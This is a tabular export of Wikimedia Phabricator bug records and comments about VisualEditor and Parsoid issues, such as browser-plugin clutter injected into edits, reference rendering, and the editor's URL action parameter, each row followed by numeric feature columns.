253586,Images: Links in alt (and maybe other) attributes of images generates incorrect HTML,Verified fixed in deployed Parsoid version.,,,1406236095,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-bcphrwlve5fbhq4ltxr3,task_subcomment,,True,c1,3,True,,,55,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.428571428571429,1.0,Verified fixed in deployed Parsoid version.
54327,Broken browser plugins cause cruft to be injected into the page (tracking),"
--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1375286580,1524218709.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-kve2ug5yc3dp6ighnmqk,False,PHID-TASK-y754cxtupebi6bfunc3e,task_description,invalid,True,c1,3,True,False,False,4,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.888888888888889,0.4444444444444444,"
--------------------------
**Version**: unspecified
**Severity**: minor"
1163980,Broken browser plugins cause cruft to be injected into the page (tracking),"If you don't replace a tracking bug with anything, you lose a useful feature to navigate between tasks…",,,1540255797,,PHID-USER-4z6eerx3m7iocsrcpku5,True,,,PHID-TASK-y754cxtupebi6bfunc3e,task_subcomment,,True,c1,3,False,,,277,,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,19.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,19.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,4.095238095238095,0.9047619047619048,"If you don't replace a tracking bug with anything, you lose a useful feature to navigate between tasks…"
1054622,Broken browser plugins cause cruft to be injected into the page (tracking),Tracking bugs existed as a workaround to Bugzilla's shortcomings. There's no utility in keeping this around now.,,,1524218709,,PHID-USER-kve2ug5yc3dp6ighnmqk,True,,,PHID-TASK-y754cxtupebi6bfunc3e,task_subcomment,,True,c1,3,True,,,250,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,0.0,5.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,4.571428571428571,0.9047619047619048,Tracking bugs existed as a workaround to Bugzilla's shortcomings. There's no utility in keeping this around now.
596207,Broken browser plugins cause cruft to be injected into the page (tracking),">>! In T54327#1948228, @Jdforrester-WMF wrote:
>>>! In T54327#1948146, @Nemo_bis wrote:
>> How to share the blacklist (or whatever cleanup method VisualEditor is currently using) with other consumers of Parsoid, such as T124152?
> 
> They should sub-class VisualEditor, which is tracked in {T105447} which I've now linked that to.

Makes sense. What if someone else, maybe outside MediaWiki, desired to use Parsoid for two-way conversion? Should everyone subclass VisualEditor or is this sort of HTML/wikitext cleanup of more general use?",,,1453673063,,PHID-USER-v7bwpq3rs3zdxegibdbh,True,,,PHID-TASK-y754cxtupebi6bfunc3e,task_subcomment,,True,c1,3,True,,,133,,0.0,4.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,4.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,24.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,12.0,18.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,4.14,0.78,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Makes sense. What if someone else, maybe outside MediaWiki, desired to use Parsoid for two-way conversion? Should everyone subclass VisualEditor or is this sort of HTML/wikitext cleanup of more general use?"
593381,Broken browser plugins cause cruft to be injected into the page (tracking),">>! In T54327#1948146, @Nemo_bis wrote:
> How to share the blacklist (or whatever cleanup method VisualEditor is currently using) with other consumers of Parsoid, such as T124152?

They should sub-class VisualEditor, which is tracked in {T105447} which I've now linked that to.",,,1453306858,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-y754cxtupebi6bfunc3e,task_subcomment,,True,c1,3,True,,,133,,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,23.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,4.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6538461538461537,0.9230769230769231,"QUOTE
QUOTE

They should sub-class VisualEditor, which is tracked in {T105447} which I've now linked that to."
593359,Broken browser plugins cause cruft to be injected into the page (tracking),"How to share the blacklist (or whatever cleanup method VisualEditor is currently using) with other consumers of Parsoid, such as T124152?",,,1453304786,,PHID-USER-v7bwpq3rs3zdxegibdbh,True,,,PHID-TASK-y754cxtupebi6bfunc3e,task_subcomment,,True,c1,3,True,,,133,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,16.0,4.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,16.0,12.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,4.68,1.0,"How to share the blacklist (or whatever cleanup method VisualEditor is currently using) with other consumers of Parsoid, such as T124152?"
460877,Broken browser plugins cause cruft to be injected into the page (tracking),"What is this tracking, nowadays?",,,1432053265,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-y754cxtupebi6bfunc3e,task_subcomment,,True,c1,3,False,,,98,,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,"What is this tracking, nowadays?"
252865,Broken browser plugins cause cruft to be injected into the page (tracking),"I wonder if https://ru.wikipedia.org/?diff=65612328 is another instance of this, or if it's a copy-paste bug instead.",,,1410976801,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-y754cxtupebi6bfunc3e,task_subcomment,,True,c1,3,False,,,63,,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,10.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,14.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.142857142857143,0.9523809523809523,"I wonder if URL is another instance of this, or if it's a copy-paste bug instead."
252862,Broken browser plugins cause cruft to be injected into the page (tracking),"Added #53315 for texts looking like telephone numbers changed in <a href=""tel:..."">...</a>",,,1377428723,,PHID-USER-o34e5i3eq4nstbvcf26w,True,,,PHID-TASK-y754cxtupebi6bfunc3e,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,21.0,4.157894736842105,0.9473684210526315,"Added #53315 for texts looking like telephone numbers changed in <a href=""tel:..."">...</a>"
252859,Broken browser plugins cause cruft to be injected into the page (tracking),"On en wikipedia most of these are detected by
http://en.wikipedia.org/wiki/Special:AbuseFilter/345
Other common cases include
myEventWatcherDiv
QuickiWiki Look Up
application/x-datavault
end_of_the_skype_highlighting
inlineAdmedialink
_clearly_component
ktg6us78hf8vdu7

Most are not visible the but ktg6us78hf8vdu7 makes a right mess trying to add javascript links everywhere
http://en.wikipedia.org/w/index.php?title=Shane_Watson&diff=prev&oldid=568280885",,,1376399632,,PHID-USER-7hrs7wwclcldf7mm6a7o,True,,,PHID-TASK-y754cxtupebi6bfunc3e,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,2.0,2.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,19.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,14.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,4.0,4.0,5.298245614035087,0.7894736842105263,"On en wikipedia most of these are detected by
URL
Other common cases include
myEventWatcherDiv
QuickiWiki Look Up
application/x-datavault
end_of_the_skype_highlighting
inlineAdmedialink
_clearly_component
ktg6us78hf8vdu7

Most are not visible the but ktg6us78hf8vdu7 makes a right mess trying to add javascript links everywhere
URL"
54320,VisualEditor: Media items are clearing templates (or they're being forced to width:100%?),"Screenshot

Adding an image with caption besides a list creates whitespace in edit mode, see screenshot.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://de.wikipedia.org/wiki/116._Panzer-Division_(Wehrmacht)

**Attached**: {F11788}",Medium,50.0,1375271820,1394223928.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-xoiz3tzy2fgdd4xhxob7,task_description,resolved,True,c1,3,False,False,False,4,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,3.581818181818182,0.5818181818181818,"Screenshot

Adding an image with caption besides a list creates whitespace in edit mode, see screenshot.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL

**Attached**: {F11788}"
252444,VisualEditor: Media items are clearing templates (or they're being forced to width:100%?),"This is caused by bug 51708 – all inline templates assume 100% width, which breaks all floated items.

*** This bug has been marked as a duplicate of bug 51708 ***",,,1394223928,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xoiz3tzy2fgdd4xhxob7,task_subcomment,,True,c1,3,True,,,35,,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,21.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,5.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.4358974358974357,0.7435897435897436,"This is caused by bug 51708 – all inline templates assume 100% width, which breaks all floated items.

*** This bug has been marked as a duplicate of bug 51708 ***"
54300,"VisualEditor: Reference defined inside a reference list but of a different group inside template appears as part of the template and also in the appropriate reference list, but blank this time","**Author:** `kwwilliams`

**Description:**
In http://en.wikipedia.org/w/index.php?title=List_of_record_charts&oldid=566209687, notice how Note 1 gets transformed in the string ""1.0.1.1"" and the actual contents of Note 1 becomes reference 19, which is completely unused in the article body.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=53486",Medium,50.0,1375225080,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-ydvvzyrpkompusxbw5gr,task_description,open,True,c1,3,False,False,,4,,0.0,0.0,1.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,4.0,1.0,16.0,1.0,1.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,5.0,5.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.506666666666667,0.5733333333333334,"**Author:** CODE

**Description:**
In URL notice how Note 1 gets transformed in the string ""1.0.1.1"" and the actual contents of Note 1 becomes reference 19, which is completely unused in the article body.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
251357,"VisualEditor: Reference defined inside a reference list but of a different group inside template appears as part of the template and also in the appropriate reference list, but blank this time","Clarify the title to explain what I think is happening:

| VisualEditor: Reference defined inside a reference list but of a different group inside template appears as part of the template and also in the appropriate reference list, but blank this time",,,1377817614,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ydvvzyrpkompusxbw5gr,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,15.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,2.0,9.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,15.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,4.586956521739131,0.782608695652174,"Clarify the title to explain what I think is happening:

| VisualEditor: Reference defined inside a reference list but of a different group inside template appears as part of the template and also in the appropriate reference list, but blank this time"
251351,"VisualEditor: Reference defined inside a reference list but of a different group inside template appears as part of the template and also in the appropriate reference list, but blank this time",I can confirm this is still happening.,,,1377815025,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-ydvvzyrpkompusxbw5gr,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,1.0,I can confirm this is still happening.
54281,"VisualEditor: VE should use the existing ""action"" URL parameter instead of the new ""veaction""","When we edit using the visual editor, we still get
mw.config.get( 'wgAction' ) === 'view'
instead of
mw.config.get( 'wgAction' ) === 'edit'

See also
http://lists.wikimedia.org/pipermail/wikitech-l/2013-July/070603.html
which quotes
http://lists.wikimedia.org/pipermail/wikitech-l/2013-July/070601.html

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
* {T53421}
* {T55746}
* {T55441}",Medium,50.0,1375206000,1455664404.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-7te6uik6zxfmwlua2dgh,task_description,resolved,True,c1,3,False,False,False,4,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,9.0,0.0,0.0,0.0,2.0,0.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,12.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,1.0,4.0,0.0,9.0,0.0,2.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,2.912087912087912,0.42857142857142855,"When we edit using the visual editor, we still get
mw.config.get( 'wgAction' ) === 'view'
instead of
mw.config.get( 'wgAction' ) === 'edit'

See also
URL
which quotes
URL

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
* {T53421}
* {T55746}
* {T55441}"
611680,"VisualEditor: VE should use the existing ""action"" URL parameter instead of the new ""veaction""","This is now mostly done, for single edit tab wikis.",,,1455664404,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7te6uik6zxfmwlua2dgh,task_subcomment,,True,c1,3,True,,,137,,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,"This is now mostly done, for single edit tab wikis."
472700,"VisualEditor: VE should use the existing ""action"" URL parameter instead of the new ""veaction""","(per https://phabricator.wikimedia.org/T55441#962602)

I agree. I don't think it's realistic or desirable to change the url of the editor. Instead we should (eventually) change the default. We can support permalinks for when the url given is semantically related to VisualEditor, but in most cases that is not the case.

There are many cases where the link itself has no relation to an editor, but we do want to send traffic to VisualEditor for new users (when configured as default):
* red links generated by the parser.
* edit links generated by templates.
* edit links created by extensions and gadgets.
* third party sites.
* existing content and discussions.

The majority of those links cannot be feasibly changed, with the exception of those generated by the parser as red links. To change those, the parser would need access to user preferences (which fragments the cache) and the parser would need access the target page content model (which requires additional expensive queries, and is also variable; so it would require cascading cache invalidation).

Instead of changing the url of the ""Edit"" or ""Create"" tab in the interface (and providing secondary links for other editors), it probably makes more sense to hook into EditAction (action=edit) and change the default server-side (based on page content model, and current user preferences). Then, we can use an optional query parameter (e.g. action=edit&editor=visualeditor) in case a direct permanent is wanted. Such as when switching between the editors, or when otherwise relying on exact behaviour (e.g. browser tests and gadgets).",,,1433993930,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-7te6uik6zxfmwlua2dgh,task_subcomment,,True,c1,3,True,,,101,,0.25,0.0,0.0,0.75,0.75,5.25,0.5,0.0,0.0,0.0,3.0,0.25,0.0,0.0,0.25,1.5,0.0,5.25,8.5,0.0,1.0,0.25,0.0,0.25,0.0,0.75,0.0,0.0,0.75,0.75,0.0,3.25,0.5,1.0,0.25,0.0,0.0,0.5,0.0,0.75,0.25,0.0,0.25,2.25,0.0,0.0,0.0,0.25,0.0,18.25,0.5,0.25,0.0,0.75,0.0,1.0,0.0,0.0,1.5,0.0,0.0,1.0,0.0,0.25,0.25,0.25,0.0,5.75,1.5,4.25,1.5,3.75,7.25,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.5,8.5,1.25,0.0,1.0,0.0,2.5,0.0,2.25,1.0,0.25,1.75,0.25,0.25,0.0,4.106922468354431,0.689873417721519,"(per URL

I agree. I don't think it's realistic or desirable to change the url of the editor. Instead we should (eventually) change the default. We can support permalinks for when the url given is semantically related to VisualEditor, but in most cases that is not the case.

There are many cases where the link itself has no relation to an editor, but we do want to send traffic to VisualEditor for new users (when configured as default):
* red links generated by the parser.
* edit links generated by templates.
* edit links created by extensions and gadgets.
* third party sites.
* existing content and discussions.

The majority of those links cannot be feasibly changed, with the exception of those generated by the parser as red links. To change those, the parser would need access to user preferences (which fragments the cache) and the parser would need access the target page content model (which requires additional expensive queries, and is also variable; so it would require cascading cache invalidation).

Instead of changing the url of the ""Edit"" or ""Create"" tab in the interface (and providing secondary links for other editors), it probably makes more sense to hook into EditAction (action=edit) and change the default server-side (based on page content model, and current user preferences). Then, we can use an optional query parameter (e.g. action=edit&editor=visualeditor) in case a direct permanent is wanted. Such as when switching between the editors, or when otherwise relying on exact behaviour (e.g. browser tests and gadgets)."
249952,"VisualEditor: VE should use the existing ""action"" URL parameter instead of the new ""veaction""","(In reply to Helder from comment #1)
> For the sake of solving bug 51421, maybe it could use ""action=vedit""?

+1",,,1397517663,,PHID-USER-je4a7kqdfgacwkyhtg4c,False,,,PHID-TASK-7te6uik6zxfmwlua2dgh,task_subcomment,,True,c1,3,False,,,41,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,21.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.857142857142857,1.0,"(In reply to Helder from comment #1)
QUOTE

+1"
249945,"VisualEditor: VE should use the existing ""action"" URL parameter instead of the new ""veaction""",See also bug 53746 comment 3.,,,1382125536,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-7te6uik6zxfmwlua2dgh,task_subcomment,,True,c1,3,False,,,15,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,1.0,See also bug 53746 comment 3.
249937,"VisualEditor: VE should use the existing ""action"" URL parameter instead of the new ""veaction""","Another reason why the current method is not ideal, taken from
https://www.mediawiki.org/wiki/Thread:VisualEditor/Feedback/Categories/reply_(8)

>Lots of template transclusions also offer a specific edit link.
>Their action uses only the wiki code editor. If both actions
> ""edit"" and ""editVE"" were merged into a single one (with a simple
> switch to show either the editable preview or the wiki code) it
> would be simpler. And the ""Show preview"" button could disappear
> below the wiki editor (it would just remain a ""Save page"" button),
> but the ""Save"" button could also show the actual rendering
